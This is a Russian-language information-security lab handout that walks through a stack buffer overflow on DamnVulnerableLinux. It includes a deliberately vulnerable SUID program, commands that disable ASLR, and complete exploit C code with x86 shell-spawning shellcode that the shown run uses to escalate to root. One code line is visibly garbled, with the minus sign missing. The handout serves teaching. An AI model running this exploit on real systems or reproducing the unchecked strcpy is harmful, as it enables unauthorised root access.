logo
Методические указания для АЗ-ИБ

Практическая работа.

  1. Загружаемся в DamnVulnerableLinux.

  2. Запускаем командную оболочку.

  3. Выполняем следующие команды:

$ cd /tmp

 

# Создаём временную директорию и выставляем права на чтение, запись, выполнение файлов для всех пользователей.

$ mkdir exploit

$ chmod 777 exploit

$ cd exploit/

 

# Скачиваем пример уязвимой программы и код эксплойта.

$ wget 'http://share.auditory.ru/2006/Andrey.Grunau/ZI/src.tar.gz'

 

# Распаковываем и видим два исходных текста программы.

$ tar -xzf src.tar.gz

$ ls -l

total 12

-rw-r--r-1 andozer andozer 1354 2009-03-30 01:24 exploit.c

-rw-r--r-1 root root 885 2009-03-31 22:27 src.tar.gz

-rw-r--r-1 andozer andozer 114 2009-03-29 22:10 vuln.c

Так выглядит исходный файл программы vuln.c, содержащей уязвимость.

#include<string.h>

 

// Простейший пример программы, поверженной ошибке переполнения буфера.

 

int main(int argc, char *argv[])

{

char buffer[500];

strcpy(buffer, argv[1]);

 

return 0;

}

# Временно отключаем динамический стек. Да, у нас очень простой пример.

$ echo 0 > /proc/sys/kernel/randomize_va_space

 

# Компилируем программу с уязвимостью и выставляем SUID бит для неё.

$ gcc-3.3 vuln.c -o vuln

$ chmod u+s vuln

$ ls -l vuln

-rwsr-xr-x 1 root root 6321 2009-03-31 23:10 vuln

 

# Создаём в системе учётную запись непривилегированного пользователя и становимся им.

$ useradd -s /bin/bash -d /home/new_user new_user

$ su new_user

 

# Компилируем код эксплойта и запускаем.

# Узнать имя пользователя, под который мы работаем, всегда можно командой whoami

$ gcc-3.3 -o exploit exploit.c

$ whoami

new_user

$ ./exploit

Stack pointer (ESP) : 0xbffff708

Offset from ESP : 0x0

Desired Return Addr : 0xbffff708

$ whoami

root

$

Мы получили права суперпользователя в системе, а теперь разберёмся в том, что произошло. Программа vuln представляет собой suid-программу с правами root, уязвимую к переполнению буфера, и нам нужен код, чтобы сгенерировать буфер, который можно подать на вход уязвимой программы. Этот буфер должен содержать желаемый шеллкод и переписывать адрес возврата в стеке таким образом, чтобы этот шеллкод оказался выполненным. Для этого надо заранее узнать фактический адрес шеллкода, что может быть непросто в динамически изменяемом стеке (поэтому мы его и отключали). Ещё большую сложность вызывает необходимость поместить значение этого адреса на место тех четырёх байт, в которых хранится адрес возврата в кадре стека. Даже если известен правильный адрес, но не будет затёрт нужный участок памяти, программа просто аварийно завершится. Чтобы облегчить эти сложные махинации, применяются два стандартных приёма. Первый известен как NOP-цепочка (NOP-slep; NOP сокращение от no operation). Данная одно байтовая команда не выполняет абсолютно никаких действий. Иногда её применяют в холостых циклах для синхронизации. В нашем случае команды NOP используются с другой целью. Мы создадим длинную цепочку команд NOP и поместим её перед шеллкодом, и тогда если EIP возвратится по любому адресу, входящему в NOP-цепочку, то он станет расти, поочерёдно выполняя каждую команду NOP, пока не доберётся до шеллкода. Это значит, что если адрес возврата переписать любым из адресов, входящих в NOP-цепочку, то EIP соскользнёт вниз по цепочку до шеллкода, который выполнится. Что нам и требуется. Второй приём состоит в заполнении конца буфера помещёнными вплотную друг к другу копиями нужного адреса возврата. Благодаря этому, как только любой из этих адресов возврата перепишет фактический адрес возврата, эксплойт сработает согласно замыслу. Вот так выглядит создаваемый буфер

|------------------------------------------------------|

| NOP-цепочка | Шеллкод | Повторяющийся адрес возврата |

|------------------------------------------------------|

Но применение обоих этих приёмов не освобождает от необходимости знать примерный адрес буфера в памяти, чтобы определить правильный адрес возврата. Примерно определить адрес памяти можно с помощью текущего указателя стека. Вычитая из этого указателя стека смещение, можно получить относительный адрес любой переменной. Поскольку в нашей уязвимой программе первым элементом на в стеке оказывается буфер, в который помещается шеллкод, нужным адресом возврата должен оказаться указатель стека, т.е. смещение должно быть близко к нулю. Полезность NOP-цепочки увеличивается при создании эксплойтов для более сложных прграмм, когда смещение отлично от нуля. Взглянем на код самого эксплойта. В коде эксплойта создаётся буфер, который передаётся уязвимой программе в надежде заставить её выполнить внедрённый в буфер шеллкод, а не просто аварийно завершиться. Код эксплойта сначала получает текущий указатель стека и вычитает из него смещение. В данном случае смещение равно нулю. Выделенная память для буфера (в куче), и весь он заполняется адресом возврата. Затем первые 200 байт буфера заполняются NOP-цепочкой (команда NOP на машинном языке процессора x86 эквивалентна числу 0x90). После NOP-цепочки помещается шеллкод, а в оставшейся части буфера сохраняется записанный адрес возврата. Поскольку конец символьного буфера отмечается нулевым байтом, буфер завершается значением "0". Наконец, ещё одна функция запускает уязвимую программу и передаёт ей специально сконструированный буфер.

#include<stdlib.h>

#include<stdio.h>

#include<string.h>

#include<unistd.h>

 

#define BUF 600

 

char shellcode[] =

"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0"

"\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d"

"\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73"

"\x68";

 

unsigned long sp(void) // Функция возвращает указатель на стек.

{

__asm__("mov %esp, %eax");

}

 

int main(int argc, char *argv[])

{

int i, offset;

long esp, ret, *addr_ptr;

char *buffer, *ptr;

 

offset = 0; // Задать смещение равным нулю.

esp = sp(); // Поместить текущий указатель стека в esp.

ret = esp offset; // Мы хотим переписать адрес возврата.

 

printf("Stack pointer (ESP) : 0x%x\n", esp);

printf(" Offset from ESP : 0x%x\n", offset);

printf("Desired Return Addr : 0x%x\n", ret);

 

buffer = malloc(BUF); // Выделить для буфера 600 байтов (в куче).

 

ptr = buffer;

addr_ptr = (long *) ptr;

 

for(i = 0; i < BUF; i += 4)

{

*(addr_ptr++) = ret;

}

 

for(i = 0; i < 200; i++) // Заполнить первые 200 байт буфера командами NOP.

{

buffer[i] = '\x90';

}

 

ptr = buffer + 200;

for(i = 0; i < strlen(shellcode); i++) // Поместить шеллкод после NOP-цепочки.

{

*(ptr++) = shellcode[i];

}

 

buffer[BUF-1] = 0; // Завершить строку.

 

execl("./vuln", "vuln", buffer, 0); // Теперь вызываем программу ./vuln,

// передав в качестве аргумента построенный буфер.

 

free(buffer); // Освободить память буфера.

 

return 0;

}

Адрес возврата в стеке был переписан значением 0xbffff708, которое представляет собой адрес NOP-цепочки и шеллкода. Поскольку программа выполнялась с правами root, а шеллкод запускает оболочку пользователя, уязвимая программа выполнила шеллкод в качестве пользователя root, несмотря на то, что первоначально она должна была только скопировать некоторое данные и завершить работу.

Если вы выполняли работу не на виртуальной машине, а где-либо ещё, не забудьте включить обратно динамический стек.

$ echo 1 > /proc/sys/kernel/randomize_va_space